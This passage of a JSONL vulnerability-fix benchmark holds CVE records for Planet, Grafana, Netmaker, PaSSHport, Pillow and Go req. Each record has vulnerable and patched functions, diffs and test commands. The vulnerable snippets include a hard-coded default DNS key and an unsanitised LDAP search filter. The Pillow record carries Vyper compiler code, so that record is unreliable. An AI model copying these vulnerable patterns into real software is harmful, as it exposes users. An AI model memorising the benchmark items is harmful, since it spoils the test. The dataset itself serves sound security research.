__init__(self, path: typing.Union[str, pathlib.Path]):\n        self.path = pathlib.Path(path)\n\n        self.permissions = stat.S_IRUSR | stat.S_IWUSR  # user rw\n\n        # in sdk versions <=2.0.0, secret file was created with the wrong\n        # permissions, fix this automatically as well as catching the unlikely\n        # cases where the permissions get changed externally\n        self._enforce_permissions()"}, {"id": "fix_py_52_2", "commit": "d71415a", "file_path": "planet/auth.py", "start_line": 249, "end_line": 256, "snippet": "    def _write(self, contents: dict):\n        LOGGER.debug(f'Writing to {self.path}')\n\n        def opener(path, flags):\n            return os.open(path, flags, self.permissions)\n\n        with open(self.path, 'w', opener=opener) as fp:\n            fp.write(json.dumps(contents))"}, {"id": "fix_py_52_3", "commit": "d71415a", "file_path": "planet/auth.py", "start_line": 264, "end_line": 276, "snippet": "    def _enforce_permissions(self):\n        '''if the file's permissions are not what they should be, fix them'''\n        try:\n            # in octal, permissions is the last three bits of the mode\n            file_permissions = self.path.stat().st_mode & 0o777\n            if file_permissions != self.permissions:\n                LOGGER.debug(\n                    f'{self.path} permissions are {oct(file_permissions)}, '\n                    f'should be {oct(self.permissions)}. Fixing.')\n                self.path.chmod(self.permissions)\n        except FileNotFoundError:\n            # just skip it if the secret file doesn't exist\n            pass"}], "vul_patch": "--- a/planet/auth.py\n+++ b/planet/auth.py\n@@ -1,2 +1,9 @@\n-    def __init__(self, path):\n-        self.path = path\n+    def __init__(self, path: typing.Union[str, pathlib.Path]):\n+        self.path = pathlib.Path(path)\n+\n+        self.permissions = stat.S_IRUSR | stat.S_IWUSR  # user rw\n+\n+        # in sdk versions <=2.0.0, secret file was created with the wrong\n+        # permissions, fix this automatically as well as catching the unlikely\n+        # cases where the permissions get changed externally\n+        self._enforce_permissions()\n\n--- a/planet/auth.py\n+++ b/planet/auth.py\n@@ -1,4 +1,8 @@\n     def _write(self, contents: dict):\n         LOGGER.debug(f'Writing to {self.path}')\n-        with open(self.path, 'w') as fp:\n+\n+        def opener(path, flags):\n+            return os.open(path, flags, self.permissions)\n+\n+        with open(self.path, 'w', opener=opener) as fp:\n             fp.write(json.dumps(contents))\n\n--- /dev/null\n+++ b/planet/auth.py\n@@ -0,0 +1,13 @@\n+    def _enforce_permissions(self):\n+        '''if the file's permissions are not what they should be, fix them'''\n+        try:\n+            # in octal, permissions is the last three bits of the mode\n+            file_permissions = self.path.stat().st_mode & 0o777\n+            if file_permissions != self.permissions:\n+                LOGGER.debug(\n+                    f'{self.path} permissions are {oct(file_permissions)}, '\n+                    f'should be {oct(self.permissions)}. Fixing.')\n+                self.path.chmod(self.permissions)\n+        except FileNotFoundError:\n+            # just skip it if the secret file doesn't exist\n+            pass\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-32303:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/planet-client-python\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-32303/bin/python -m pytest tests/unit/test_auth.py::test__SecretFile_permissions_doesnotexist  tests/unit/test_auth.py::test__SecretFile_permissions_incorrect -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-32303:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/planet-client-python\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-32303/bin/python -m pytest tests/unit/test_auth.py -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2022-31130", "cve_description": "Grafana is an open source observability and data visualization platform. Versions of Grafana for endpoints prior to 9.1.8 and 8.5.14 could leak authentication tokens to some destination plugins under some conditions. The vulnerability impacts data source and plugin proxy endpoints with authentication tokens. The destination plugin could receive a user's Grafana authentication token. Versions 9.1.8 and 8.5.14 contain a patch for this issue. As a workaround, do not use API keys, JWT authentication, or any HTTP Header based authentication.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/4dd56e4dabce10007bf4ba1059bf54178c35b177"], "programing_language": "Go", "vul_func": [{"id": "vul_go_70_2", "commit": "f68f621342ccd005bd2d8eb6ae234af3b0ef64ae", "file_path": "pkg/util/proxyutil/reverse_proxy.go", "start_line": 67, "end_line": 76, "snippet": "func wrapDirector(d func(*http.Request)) func(req *http.Request) {\n\treturn func(req *http.Request) {\n\t\td(req)\n\t\tPrepareProxyRequest(req)\n\n\t\t// Clear Origin and Referer to avoid CORS issues\n\t\treq.Header.Del(\"Origin\")\n\t\treq.Header.Del(\"Referer\")\n\t}\n}"}], "fix_func": [{"id": "fix_go_70_1", "commit": "4dd56e4dabce10007bf4ba1059bf54178c35b177", "file_path": "pkg/util/proxyutil/reverse_proxy.go", "start_line": 68, "end_line": 84, "snippet": "func wrapDirector(d func(*http.Request)) func(req *http.Request) {\n\treturn func(req *http.Request) {\n\t\tlist := contexthandler.AuthHTTPHeaderListFromContext(req.Context())\n\t\tif list != nil {\n\t\t\tfor _, name := range list.Items {\n\t\t\t\treq.Header.Del(name)\n\t\t\t}\n\t\t}\n\n\t\td(req)\n\t\tPrepareProxyRequest(req)\n\n\t\t// Clear Origin and Referer to avoid CORS issues\n\t\treq.Header.Del(\"Origin\")\n\t\treq.Header.Del(\"Referer\")\n\t}\n}"}], "vul_patch": "--- a/pkg/util/proxyutil/reverse_proxy.go\n+++ /dev/null\n@@ -1,10 +0,0 @@\n-func wrapDirector(d func(*http.Request)) func(req *http.Request) {\n-\treturn func(req *http.Request) {\n-\t\td(req)\n-\t\tPrepareProxyRequest(req)\n-\n-\t\t// Clear Origin and Referer to avoid CORS issues\n-\t\treq.Header.Del(\"Origin\")\n-\t\treq.Header.Del(\"Referer\")\n-\t}\n-}\n\n--- /dev/null\n+++ b/pkg/util/proxyutil/reverse_proxy.go\n@@ -0,0 +1,17 @@\n+func wrapDirector(d func(*http.Request)) func(req *http.Request) {\n+\treturn func(req *http.Request) {\n+\t\tlist := contexthandler.AuthHTTPHeaderListFromContext(req.Context())\n+\t\tif list != nil {\n+\t\t\tfor _, name := range list.Items {\n+\t\t\t\treq.Header.Del(name)\n+\t\t\t}\n+\t\t}\n+\n+\t\td(req)\n+\t\tPrepareProxyRequest(req)\n+\n+\t\t// Clear Origin and Referer to avoid CORS issues\n+\t\treq.Header.Del(\"Origin\")\n+\t\treq.Header.Del(\"Referer\")\n+\t}\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31130:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/grafana\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd pkg/util/proxyutil && go test -timeout 30s -run ^TestReverseProxy$ github.com/grafana/grafana/pkg/util/proxyutil\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31130:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/grafana\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd pkg/util/proxyutil && go test -timeout 30s -run '^(TestMakePluginResourceRequest|TestMiddlewareBasicAuth|Test_GetPluginAssets|Test_PluginsInstallAndUninstall|TestMiddlewareContext|TestMiddlewareJWTAuth|TestReverseProxy|TestMiddleWareSecurityHeaders)$' github.com/grafana/grafana/pkg/util/proxyutil\n"}
{"cve_id": "CVE-2023-32077", "cve_description": "Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints. The issue is patched in 0.17.1 and fixed in 0.18.6.  If users are using 0.17.1, they should run `docker pull gravitl/netmaker:v0.17.1` and `docker-compose up -d`. This will switch them to the patched users. If users are using v0.18.0-0.18.5, they should upgrade to v0.18.6 or later. As a workaround, someone who is using version 0.17.1 can pull the latest docker image of the backend and restart the server.", "cwe_info": {"CWE-798": {"name": "Use of Hard-coded Credentials", "description": "The product contains hard-coded credentials, such as a password or cryptographic key."}}, "repo": "https://github.com/gravitl/netmaker", "patch_url": ["https://github.com/gravitl/netmaker/commit/1621c27c1d176b639e9768b2acad7693e387fd51"], "programing_language": "Go", "vul_func": [{"id": "vul_go_299_1", "commit": "49c0224f741984bd4fd40c1609f9a3b732945ff6", "file_path": "logic/security.go", "start_line": 185, "end_line": 191, "snippet": "func authenticateDNSToken(tokenString string) bool {\n\ttokens := strings.Split(tokenString, \" \")\n\tif len(tokens) < 2 {\n\t\treturn false\n\t}\n\treturn tokens[1] == servercfg.GetDNSKey()\n}"}, {"id": "vul_go_299_2", "commit": "49c0224f741984bd4fd40c1609f9a3b732945ff6", "file_path": "servercfg/serverconf.go", "start_line": 279, "end_line": 287, "snippet": "func GetDNSKey() string {\n\tkey := \"secretkey\"\n\tif os.Getenv(\"DNS_KEY\") != \"\" {\n\t\tkey = os.Getenv(\"DNS_KEY\")\n\t} else if config.Config.Server.DNSKey != \"\" {\n\t\tkey = config.Config.Server.DNSKey\n\t}\n\treturn key\n}"}], "fix_func": [{"id": "fix_go_299_1", "commit": "1621c27c1d176b639e9768b2acad7693e387fd51", "file_path": "logic/security.go", "start_line": 185, "end_line": 191, "snippet": "func authenticateDNSToken(tokenString string) bool {\n\ttokens := strings.Split(tokenString, \" \")\n\tif len(tokens) < 2 {\n\t\treturn false\n\t}\n\treturn len(servercfg.GetDNSKey()) > 0 && tokens[1] == servercfg.GetDNSKey()\n}"}, {"id": "fix_go_299_2", "commit": "1621c27c1d176b639e9768b2acad7693e387fd51", "file_path": "servercfg/serverconf.go", "start_line": 279, "end_line": 287, "snippet": "func GetDNSKey() string {\n\tkey := \"\"\n\tif os.Getenv(\"DNS_KEY\") != \"\" {\n\t\tkey = os.Getenv(\"DNS_KEY\")\n\t} else if config.Config.Server.DNSKey != \"\" {\n\t\tkey = config.Config.Server.DNSKey\n\t}\n\treturn key\n}"}], "vul_patch": "--- a/logic/security.go\n+++ b/logic/security.go\n@@ -3,5 +3,5 @@\n \tif len(tokens) < 2 {\n \t\treturn false\n \t}\n-\treturn tokens[1] == servercfg.GetDNSKey()\n+\treturn len(servercfg.GetDNSKey()) > 0 && tokens[1] == servercfg.GetDNSKey()\n }\n\n--- a/servercfg/serverconf.go\n+++ b/servercfg/serverconf.go\n@@ -1,5 +1,5 @@\n func GetDNSKey() string {\n-\tkey := \"secretkey\"\n+\tkey := \"\"\n \tif os.Getenv(\"DNS_KEY\") != \"\" {\n \t\tkey = os.Getenv(\"DNS_KEY\")\n \t} else if config.Config.Server.DNSKey != \"\" {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3027", "cve_description": "app/views_mod/user/user.py in LibrIT PaSSHport through 2.5 is affected by LDAP Injection. There is an information leak through the crafting of special queries, escaping the provided search filter because user input gets no sanitization.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/LibrIT/passhport", "patch_url": ["https://github.com/LibrIT/passhport/commit/366b03f607729c4538e91b634ecc57c8398522a1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_158_1", "commit": "ca8c1c2", "file_path": "passhportd/app/views_mod/user/user.py", "start_line": 19, "end_line": 43, "snippet": "def useruid(s, login):\n    \"\"\"Connect to a LDAP and check the uid matching the given field data\"\"\"\n    uid = False\n    c = Connection(s, config.LDAPACC, \n                   password=config.LDAPPASS, auto_bind=True)\n\n    if c.result[\"description\"] != \"success\":\n        app.logger.error(\"Error connecting to the LDAP with the service account\")\n        return False\n\n    # Look for the user entry.\n    if not c.search(config.LDAPBASE,\n                    \"(\" + config.LDAPFIELD + \"=\" + login + \")\") :\n        app.logger.error(\"Error: Connection to the LDAP with service account failed\")\n    else:\n        if len(c.entries) >= 1 :\n            if len(c.entries) > 1 :\n                app.logger.error(\"Error: multiple entries with this login. \"+ \\\n                          \"Trying first entry...\")\n            uid = c.entries[0].entry_dn\n        else:\n            app.logger.error(\"Error: Login not found\")\n        c.unbind()\n    \n    return uid"}, {"id": "vul_py_158_2", "commit": "ca8c1c2", "file_path": "passhportd/app/views_mod/user/user.py", "start_line": 46, "end_line": 62, "snippet": "def try_ldap_login(login, password):\n    \"\"\" Connect to a LDAP directory to verify user login/passwords\"\"\"\n    result = \"Wrong login/password\"\n    s = Server(config.LDAPURI, port=config.LDAPPORT,\n               use_ssl=False, get_info=ALL)\n    # 1. connection with service account to find the user uid\n    uid = useruid(s, login)\n   \n    if uid: \n        # 2. Try to bind the user to the LDAP\n        c = Connection(s, user = uid , password = password, auto_bind = True)\n        c.open()\n        c.bind()\n        result =  c.result[\"description\"] # \"success\" if bind is ok\n        c.unbind()\n\n    return result"}], "fix_func": [{"id": "fix_py_158_1", "commit": "366b03f", "file_path": "passhportd/app/views_mod/user/user.py", "start_line": 19, "end_line": 43, "snippet": "def useruid(s, login):\n    \"\"\"Connect to a LDAP and check the uid matching the given field data\"\"\"\n    uid = False\n    c = Connection(s, config.LDAPACC, \n                   password=config.LDAPPASS, auto_bind=True)\n\n    if c.result[\"description\"] != \"success\":\n        app.logger.error(\"Error connecting to the LDAP with the service account\")\n        return False\n\n    # Look for the user entry.\n    if not c.search(config.LDAPBASE,\n                    \"(\" + config.LDAPFIELD + \"=\" + escape_rdn(login) + \")\") :\n        app.logger.error(\"Error: Connection to the LDAP with service account failed\")\n    else:\n        if len(c.entries) >= 1 :\n            if len(c.entries) > 1 :\n                app.logger.error(\"Error: multiple entries with this login. \"+ \\\n                          \"Trying first entry...\")\n            uid = c.entries[0].entry_dn\n        else:\n            app.logger.error(\"Error: Login not found\")\n        c.unbind()\n    \n    return uid"}, {"id": "fix_py_158_2", "commit": "366b03f", "file_path": "passhportd/app/views_mod/user/user.py", "start_line": 46, "end_line": 62, "snippet": "def try_ldap_login(login, password):\n    \"\"\" Connect to a LDAP directory to verify user login/passwords\"\"\"\n    result = \"Wrong login/password\"\n    s = Server(config.LDAPURI, port=config.LDAPPORT,\n               use_ssl=False, get_info=ALL)\n    # 1. connection with service account to find the user uid\n    uid = useruid(s, escape_rdn(login))\n   \n    if uid: \n        # 2. Try to bind the user to the LDAP\n        c = Connection(s, user = uid , password = password, auto_bind = True)\n        c.open()\n        c.bind()\n        result =  c.result[\"description\"] # \"success\" if bind is ok\n        c.unbind()\n\n    return result"}], "vul_patch": "--- a/passhportd/app/views_mod/user/user.py\n+++ b/passhportd/app/views_mod/user/user.py\n@@ -10,7 +10,7 @@\n \n     # Look for the user entry.\n     if not c.search(config.LDAPBASE,\n-                    \"(\" + config.LDAPFIELD + \"=\" + login + \")\") :\n+                    \"(\" + config.LDAPFIELD + \"=\" + escape_rdn(login) + \")\") :\n         app.logger.error(\"Error: Connection to the LDAP with service account failed\")\n     else:\n         if len(c.entries) >= 1 :\n\n--- a/passhportd/app/views_mod/user/user.py\n+++ b/passhportd/app/views_mod/user/user.py\n@@ -4,7 +4,7 @@\n     s = Server(config.LDAPURI, port=config.LDAPPORT,\n                use_ssl=False, get_info=ALL)\n     # 1. connection with service account to find the user uid\n-    uid = useruid(s, login)\n+    uid = useruid(s, escape_rdn(login))\n    \n     if uid: \n         # 2. Try to bind the user to the LDAP\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23437", "cve_description": "The package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.", "cwe_info": {"CWE-125": {"name": "Out-of-bounds Read", "description": "The product reads data past the end, or before the beginning, of the intended buffer."}}, "repo": "https://github.com/python-pillow/Pillow", "patch_url": ["https://github.com/python-pillow/Pillow/commit/9e08eb8f78fdfd2f476e1b20b7cf38683754866b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_415_1", "commit": "d92cd34", "file_path": "vyper/builtins/functions.py", "start_line": 346, "end_line": 454, "snippet": "    def build_IR(self, expr, args, kwargs, context):\n        src, start, length = args\n\n        # Handle `msg.data`, `self.code`, and `<address>.code`\n        if src.value in ADHOC_SLICE_NODE_MACROS:\n            return _build_adhoc_slice_node(src, start, length, context)\n\n        is_bytes32 = src.typ == BYTES32_T\n        if src.location is None:\n            # it's not a pointer; force it to be one since\n            # copy_bytes works on pointers.\n            assert is_bytes32, src\n            src = ensure_in_memory(src, context)\n\n        with src.cache_when_complex(\"src\") as (b1, src), start.cache_when_complex(\"start\") as (\n            b2,\n            start,\n        ), length.cache_when_complex(\"length\") as (b3, length):\n            if is_bytes32:\n                src_maxlen = 32\n            else:\n                src_maxlen = src.typ.maxlen\n\n            dst_maxlen = length.value if length.is_literal else src_maxlen\n\n            buflen = dst_maxlen\n\n            # add 32 bytes to the buffer size bc word access might\n            # be unaligned (see below)\n            if src.location.word_addressable:\n                buflen += 32\n\n            # Get returntype string or bytes\n            assert isinstance(src.typ, _BytestringT) or is_bytes32\n            # TODO: try to get dst_typ from semantic analysis\n            if isinstance(src.typ, StringT):\n                dst_typ = StringT(dst_maxlen)\n            else:\n                dst_typ = BytesT(dst_maxlen)\n\n            # allocate a buffer for the return value\n            buf = context.new_internal_variable(BytesT(buflen))\n            # assign it the correct return type.\n            # (note mismatch between dst_maxlen and buflen)\n            dst = IRnode.from_list(buf, typ=dst_typ, location=MEMORY)\n\n            dst_data = bytes_data_ptr(dst)\n\n            if is_bytes32:\n                src_len = 32\n                src_data = src\n            else:\n                src_len = get_bytearray_length(src)\n                src_data = bytes_data_ptr(src)\n\n            # general case. byte-for-byte copy\n            if src.location.word_addressable:\n                # because slice uses byte-addressing but storage/tstorage\n                # is word-aligned, this algorithm starts at some number\n                # of bytes before the data section starts, and might copy\n                # an extra word. the pseudocode is:\n                #   dst_data = dst + 32\n                #   copy_dst = dst_data - start % 32\n                #   src_data = src + 32\n                #   copy_src = src_data + (start - start % 32) / 32\n                #            = src_data + (start // 32)\n                #   copy_bytes(copy_dst, copy_src, length)\n                #   //set length AFTER copy because the length word has been clobbered!\n                #   mstore(src, length)\n\n                # start at the first word-aligned address before `start`\n                # e.g. start == byte 7 -> we start copying from byte 0\n                #      start == byte 32 -> we start copying from byte 32\n                copy_src = IRnode.from_list(\n                    [\"add\", src_data, [\"div\", start, 32]], location=src.location\n                )\n\n                # e.g. start == byte 0 -> we copy to dst_data + 0\n                #      start == byte 7 -> we copy to dst_data - 7\n                #      start == byte 33 -> we copy to dst_data - 1\n                copy_dst = IRnode.from_list(\n                    [\"sub\", dst_data, [\"mod\", start, 32]], location=dst.location\n                )\n\n                # len + (32 if start % 32 > 0 else 0)\n                copy_len = [\"add\", length, [\"mul\", 32, [\"iszero\", [\"iszero\", [\"mod\", start, 32]]]]]\n                copy_maxlen = buflen\n\n            else:\n                # all other address spaces (mem, calldata, code) we have\n                # byte-aligned access so we can just do the easy thing,\n                # memcopy(dst_data, src_data + dst_data)\n\n                copy_src = add_ofst(src_data, start)\n                copy_dst = dst_data\n                copy_len = length\n                copy_maxlen = buflen\n\n            do_copy = copy_bytes(copy_dst, copy_src, copy_len, copy_maxlen)\n\n            ret = [\n                \"seq\",\n                check_buffer_overflow_ir(start, length, src_len),\n                do_copy,\n                [\"mstore\", dst, length],  # set length\n                dst,  # return pointer to dst\n            ]\n            ret = IRnode.from_list(ret, typ=dst_typ, location=MEMORY)\n            return b1.resolve(b2.resolve(b3.resolve(ret)))"}, {"id": "vul_py_415_2", "commit": "d92cd34", "file_path": "vyper/builtins/functions.py", "start_line": 861, "end_line": 902, "snippet": "    def build_IR(self, expr, args, kwargs, context):\n        bytez, index = args\n        ret_type = kwargs[\"output_type\"]\n\n        def finalize(ret):\n            annotation = \"extract32\"\n            ret = IRnode.from_list(ret, typ=ret_type, annotation=annotation)\n            return clamp_basetype(ret)\n\n        with bytez.cache_when_complex(\"_sub\") as (b1, bytez):\n            # merge\n            length = get_bytearray_length(bytez)\n            index = clamp2(0, index, [\"sub\", length, 32], signed=True)\n            with index.cache_when_complex(\"_index\") as (b2, index):\n                assert not index.typ.is_signed\n\n                # \"easy\" case, byte- addressed locations:\n                if bytez.location.word_scale == 32:\n                    word = LOAD(add_ofst(bytes_data_ptr(bytez), index))\n                    return finalize(b1.resolve(b2.resolve(word)))\n\n                # storage and transient storage, word-addressed\n                assert bytez.location.word_scale == 1\n\n                slot = IRnode.from_list([\"div\", index, 32])\n                # byte offset within the slot\n                byte_ofst = IRnode.from_list([\"mod\", index, 32])\n\n                with byte_ofst.cache_when_complex(\"byte_ofst\") as (\n                    b3,\n                    byte_ofst,\n                ), slot.cache_when_complex(\"slot\") as (b4, slot):\n                    # perform two loads and merge\n                    w1 = LOAD(add_ofst(bytes_data_ptr(bytez), slot))\n                    w2 = LOAD(add_ofst(bytes_data_ptr(bytez), [\"add\", slot, 1]))\n\n                    left_bytes = shl([\"mul\", 8, byte_ofst], w1)\n                    right_bytes = shr([\"mul\", 8, [\"sub\", 32, byte_ofst]], w2)\n                    merged = [\"or\", left_bytes, right_bytes]\n\n                    ret = [\"if\", byte_ofst, merged, left_bytes]\n                    return finalize(b1.resolve(b2.resolve(b3.resolve(b4.resolve(ret)))))"}], "fix_func": [{"id": "fix_py_415_1", "commit": "3d9c537142fb99b2672f21e2057f5f202cde194f", "file_path": "vyper/builtins/functions.py", "start_line": 347, "end_line": 458, "snippet": "    def build_IR(self, expr, args, kwargs, context):\n        src, start, length = args\n\n        # Handle `msg.data`, `self.code`, and `<address>.code`\n        if src.value in ADHOC_SLICE_NODE_MACROS:\n            return _build_adhoc_slice_node(src, start, length, context)\n\n        is_bytes32 = src.typ == BYTES32_T\n        if src.location is None:\n            # it's not a pointer; force it to be one since\n            # copy_bytes works on pointers.\n            assert is_bytes32, src\n            src = ensure_in_memory(src, context)\n\n        if potential_overlap(src, start) or potential_overlap(src, length):\n            raise CompilerPanic(\"risky overlap\")\n\n        with src.cache_when_complex(\"src\") as (b1, src), start.cache_when_complex(\"start\") as (\n            b2,\n            start,\n        ), length.cache_when_complex(\"length\") as (b3, length):\n            if is_bytes32:\n                src_maxlen = 32\n            else:\n                src_maxlen = src.typ.maxlen\n\n            dst_maxlen = length.value if length.is_literal else src_maxlen\n\n            buflen = dst_maxlen\n\n            # add 32 bytes to the buffer size bc word access might\n            # be unaligned (see below)\n            if src.location.word_addressable:\n                buflen += 32\n\n            # Get returntype string or bytes\n            assert isinstance(src.typ, _BytestringT) or is_bytes32\n            # TODO: try to get dst_typ from semantic analysis\n            if isinstance(src.typ, StringT):\n                dst_typ = StringT(dst_maxlen)\n            else:\n                dst_typ = BytesT(dst_maxlen)\n\n            # allocate a buffer for the return value\n            buf = context.new_internal_variable(BytesT(buflen))\n            # assign it the correct return type.\n            # (note mismatch between dst_maxlen and buflen)\n            dst = IRnode.from_list(buf, typ=dst_typ, location=MEMORY)\n\n            dst_data = bytes_data_ptr(dst)\n\n            if is_bytes32:\n                src_len = 32\n                src_data = src\n            else:\n                src_len = get_bytearray_length(src)\n                src_data = bytes_data_ptr(src)\n\n            # general case. byte-for-byte copy\n            if src.location.word_addressable:\n                # because slice uses byte-addressing but storage/tstorage\n                # is word-aligned, this algorithm starts at some number\n                # of bytes before the data section starts, and might copy\n                # an extra word. the pseudocode is:\n                #   dst_data = dst + 32\n                #   copy_dst = dst_data - start % 32\n                #   src_data = src + 32\n                #   copy_src = src_data + (start - start % 32) / 32\n                #            = src_data + (start // 32)\n                #   copy_bytes(copy_dst, copy_src, length)\n                #   //set length AFTER copy because the length word has been clobbered!\n                #   mstore(src, length)\n\n                # start at the first word-aligned address before `start`\n                # e.g. start == byte 7 -> we start copying from byte 0\n                #      start == byte 32 -> we start copying from byte 32\n                copy_src = IRnode.from_list(\n                    [\"add\", src_data, [\"div\", start, 32]], location=src.location\n                )\n\n                # e.g. start == byte 0 -> we copy to dst_data + 0\n                #      start == byte 7 -> we copy to dst_data - 7\n                #      start == byte 33 -> we copy to dst_data - 1\n                copy_dst = IRnode.from_list(\n                    [\"sub\", dst_data, [\"mod\", start, 32]], location=dst.location\n                )\n\n                # len + (32 if start % 32 > 0 else 0)\n                copy_len = [\"add\", length, [\"mul\", 32, [\"iszero\", [\"iszero\", [\"mod\", start, 32]]]]]\n                copy_maxlen = buflen\n\n            else:\n                # all other address spaces (mem, calldata, code) we have\n                # byte-aligned access so we can just do the easy thing,\n                # memcopy(dst_data, src_data + dst_data)\n\n                copy_src = add_ofst(src_data, start)\n                copy_dst = dst_data\n                copy_len = length\n                copy_maxlen = buflen\n\n            do_copy = copy_bytes(copy_dst, copy_src, copy_len, copy_maxlen)\n\n            ret = [\n                \"seq\",\n                check_buffer_overflow_ir(start, length, src_len),\n                do_copy,\n                [\"mstore\", dst, length],  # set length\n                dst,  # return pointer to dst\n            ]\n            ret = IRnode.from_list(ret, typ=dst_typ, location=MEMORY)\n            return b1.resolve(b2.resolve(b3.resolve(ret)))"}, {"id": "fix_py_415_2", "commit": "3d9c537142fb99b2672f21e2057f5f202cde194f", "file_path": "vyper/builtins/functions.py", "start_line": 865, "end_line": 909, "snippet": "    def build_IR(self, expr, args, kwargs, context):\n        bytez, index = args\n        ret_type = kwargs[\"output_type\"]\n\n        if potential_overlap(bytez, index):\n            raise CompilerPanic(\"risky overlap\")\n\n        def finalize(ret):\n            annotation = \"extract32\"\n            ret = IRnode.from_list(ret, typ=ret_type, annotation=annotation)\n            return clamp_basetype(ret)\n\n        with bytez.cache_when_complex(\"_sub\") as (b1, bytez):\n            # merge\n            length = get_bytearray_length(bytez)\n            index = clamp2(0, index, [\"sub\", length, 32], signed=True)\n            with index.cache_when_complex(\"_index\") as (b2, index):\n                assert not index.typ.is_signed\n\n                # \"easy\" case, byte- addressed locations:\n                if bytez.location.word_scale == 32:\n                    word = LOAD(add_ofst(bytes_data_ptr(bytez), index))\n                    return finalize(b1.resolve(b2.resolve(word)))\n\n                # storage and transient storage, word-addressed\n                assert bytez.location.word_scale == 1\n\n                slot = IRnode.from_list([\"div\", index, 32])\n                # byte offset within the slot\n                byte_ofst = IRnode.from_list([\"mod\", index, 32])\n\n                with byte_ofst.cache_when_complex(\"byte_ofst\") as (\n                    b3,\n                    byte_ofst,\n                ), slot.cache_when_complex(\"slot\") as (b4, slot):\n                    # perform two loads and merge\n                    w1 = LOAD(add_ofst(bytes_data_ptr(bytez), slot))\n                    w2 = LOAD(add_ofst(bytes_data_ptr(bytez), [\"add\", slot, 1]))\n\n                    left_bytes = shl([\"mul\", 8, byte_ofst], w1)\n                    right_bytes = shr([\"mul\", 8, [\"sub\", 32, byte_ofst]], w2)\n                    merged = [\"or\", left_bytes, right_bytes]\n\n                    ret = [\"if\", byte_ofst, merged, left_bytes]\n                    return finalize(b1.resolve(b2.resolve(b3.resolve(b4.resolve(ret)))))"}], "vul_patch": "--- a/vyper/builtins/functions.py\n+++ b/vyper/builtins/functions.py\n@@ -11,6 +11,9 @@\n             # copy_bytes works on pointers.\n             assert is_bytes32, src\n             src = ensure_in_memory(src, context)\n+\n+        if potential_overlap(src, start) or potential_overlap(src, length):\n+            raise CompilerPanic(\"risky overlap\")\n \n         with src.cache_when_complex(\"src\") as (b1, src), start.cache_when_complex(\"start\") as (\n             b2,\n\n--- a/vyper/builtins/functions.py\n+++ b/vyper/builtins/functions.py\n@@ -1,6 +1,9 @@\n     def build_IR(self, expr, args, kwargs, context):\n         bytez, index = args\n         ret_type = kwargs[\"output_type\"]\n+\n+        if potential_overlap(bytez, index):\n+            raise CompilerPanic(\"risky overlap\")\n \n         def finalize(ret):\n             annotation = \"extract32\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45258", "cve_description": "The req package before 3.43.4 for Go may send an unintended request when a malformed URL is provided, because cleanHost in http.go intentionally uses a \"garbage in, garbage out\" design.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/imroc/req", "patch_url": ["https://github.com/imroc/req/commit/04e3ece5b380ecad9da3551c449f1b8a9aa76d3d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_254_1", "commit": "22b0784117270fbda5357430e210a1ada8e02ffd", "file_path": "transport.go", "start_line": 2966, "end_line": 3166, "snippet": "func (pc *persistConn) writeRequest(r *http.Request, w io.Writer, usingProxy bool, extraHeaders http.Header, waitForContinue func() bool) (err error) {\n\ttrace := httptrace.ContextClientTrace(r.Context())\n\tif trace != nil && trace.WroteRequest != nil {\n\t\tdefer func() {\n\t\t\ttrace.WroteRequest(httptrace.WroteRequestInfo{\n\t\t\t\tErr: err,\n\t\t\t})\n\t\t}()\n\t}\n\tclosed := false\n\tdefer func() {\n\t\tif closed {\n\t\t\treturn\n\t\t}\n\t\tif closeErr := closeRequestBody(r); closeErr != nil && err == nil {\n\t\t\terr = closeErr\n\t\t}\n\t}()\n\n\t// Find the target host. Prefer the Host: header, but if that\n\t// is not given, use the host from the request 